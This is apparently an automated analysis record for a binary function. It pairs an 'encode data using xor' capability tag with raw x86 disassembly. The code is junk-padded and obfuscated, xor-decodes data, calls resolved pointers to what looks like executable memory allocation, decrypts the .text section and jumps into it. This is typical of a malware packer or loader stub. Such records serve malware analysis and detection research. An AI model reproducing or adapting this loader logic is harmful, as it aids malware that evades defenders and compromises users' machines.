Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8efd8536
inc ebx
mov ecx, 0x1c2fab83
dec ebx
popal
add ecx, 0x562462a8
add ecx, 0x7e9ba2cb
not ebx
mov esi, 0
mov edi, ebx
mov eax, edx
not edx
mov ecx, edi
mov eax, 0x142f5437
sub edx, eax
add edx, edx
mov ebx, ecx
sub eax, edx
add eax, edx
or edx, eax
inc esi
or eax, edx
not eax
cmp esi, 0x1005cf7
jne 0xa789cd
not edx
and eax, edx
add ebx, ecx
sub ebx, 0x339151d4
and ebx, ecx
mov ebx, 0xa78796
add eax, 0x3385166f
inc esi
mov ecx, 0xa7898a
and esi, edi
dec edi
mov edx, dword [ebx]
inc esi
add edi, 0x88081269
add eax, esi
and edx, 0xff
inc esi
and eax, eax
xor dword [ecx], edx
inc eax
sub edi, 0x731b9c51
mov edi, eax
inc ecx
or eax, edi
sub esi, 0xcad0beb
mov edi, 0x7e570622
inc ebx
not edi
dec edi
dec eax
cmp ecx, entry0
jl 0xa78a19
add edi, esi
sub edi, esi
sub esi, 0x3b71e562
or edi, eax
add edi, 0x613a415d
mov ecx, edx
or ecx, edx
mov ebx, 0xa7898e
or edi, ecx
or edi, edi
mov ebx, dword [ebx]
sub ecx, edx
not edx
mov ebx, dword [ebx]
inc esi
mov ecx, 0xadb71051
mov edx, edi
push ebx
mov edi, 0x7caeba84
add edi, 0x6e81b9c0
mov edx, 0xec1d8f97
mov ebx, 0xa7898a
sub edx, 0x8fa760b9
add edi, esi
add esi, edi
mov ebx, dword [ebx]
dec edx
add edi, 0x6ad81ef
mov ebx, dword [ebx]
add edi, edi
sub edi, 0xfdd7b3ac
not ecx
push 0xa78992
sub esi, 0xe1e8442c
mov esi, 0x951d9a75
call ebx
add edi, 1
mov ecx, 0xca7cf9d5
add ecx, edi
pop ebx
add esi, 1
add ecx, 0x89fe9932
and edx, edi
push 0xa7899f
not esi
mov ecx, 0x88c0e8d7
or edx, edx
push eax
add edx, 0xd1c8b049
add edx, esi
call ebx
add ecx, 0xcba3c494
mov edi, edx
push 0x40
not esi
mov edx, esi
sub edx, 0x4a17e187
push 0x3000
add esi, 0xa6a38b18
mov esi, ecx
push 0x20000020
dec esi
mov esi, edi
sub esi, ecx
sub esp, 4
mov dword [esp], 0
mov edx, ecx
and ecx, ecx
or ecx, esi
call eax
add edx, 0x7f4ed18d
inc esi
mov edi, ecx
add eax, 0x1fffff79
add edi, edx
inc edi
mov ebx, 0xa6766197
mov ecx, 0x303c9015
sub esi, 0x9e676bc1
mov dword [eax], ebx
sub esi, 0x3f36c574
sub edi, 0x1604abe6
dec edi
mov ebx, dword [eax]
not ecx
mov edx, 0x46d17da6
sub edi, edx
cmp ebx, 0xa6766197
je 0xa78b8d
mov edx, 0
mov eax, dword [edx]
inc esi
sub edi, esi
sub edi, esi
or esi, edi
or esi, ecx
sub edx, 0x62474e33
mov ecx, 0xfd4d195f
not ecx
inc ebx
mov edi, section..text
mov ebx, ecx
or ecx, ecx
mov edx, 0xa78795
sub ebx, 0x743a5ad
dec ebx
mov eax, 0
sub ecx, ebx
sub ebx, 1
not ecx
mov esi, 0xa78796
not ebx
sub ecx, 1
sub ebx, ecx
lea esi, [eax + esi]
mov ebx, 0x92c1c5e2
not ecx
or ecx, ecx
mov esi, dword [esi]
sub ebx, ecx
add ecx, ecx
sub ebx, 1
and esi, 0xff
mov ecx, 0xf537e58
sub ecx, ebx
inc eax
add ecx, 0xe125c66b
not ecx
cmp eax, 0x1f4
jne 0xa78c12
mov eax, 0
dec ecx
add ebx, 0x70404140
add ebx, ebx
sub ecx, 0x78e6be1d
dec ebx
not ecx
xor dword [edi], esi
sub ebx, ecx
not ebx
add ecx, ecx
add edi, 2
dec ecx
add ecx, 0xec106fe1
mov ebx, 0x53efcf9b
cmp edi, edx
jl 0xa78bc8
add ecx, ebx
dec ebx
add ecx, ebx
add ecx, 0xc7ea6697
mov edx, section..text
sub ebx, 0xe208167e
mov edi, 0xde24eeac
mov ebx, edi
mov ecx, section..text
or edi, ebx
add edi, 0x294a38f2
sub edi, ebx
mov esi, 0xa78795
add edi, edi
or ebx, ebx
mov eax, 0
mov ebx, edi
dec edi
mov al, byte [ecx]
mov ebx, edi
mov edi, ebx
or edi, edi
mov byte [edx], al
or edi, ebx
sub ebx, edi
add edx, 1
mov edi, ebx
mov edi, 0x2e4c2e4a
mov edi, 0x55172a8d
add ecx, 2
or ebx, ebx
mov edi, 0x166f8413
cmp ecx, esi
jle 0xa78c83
sub edi, 0x782d4955
inc edi
or ebx, edi
mov ebx, ecx
inc ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
sub ecx, 1
dec ecx
ret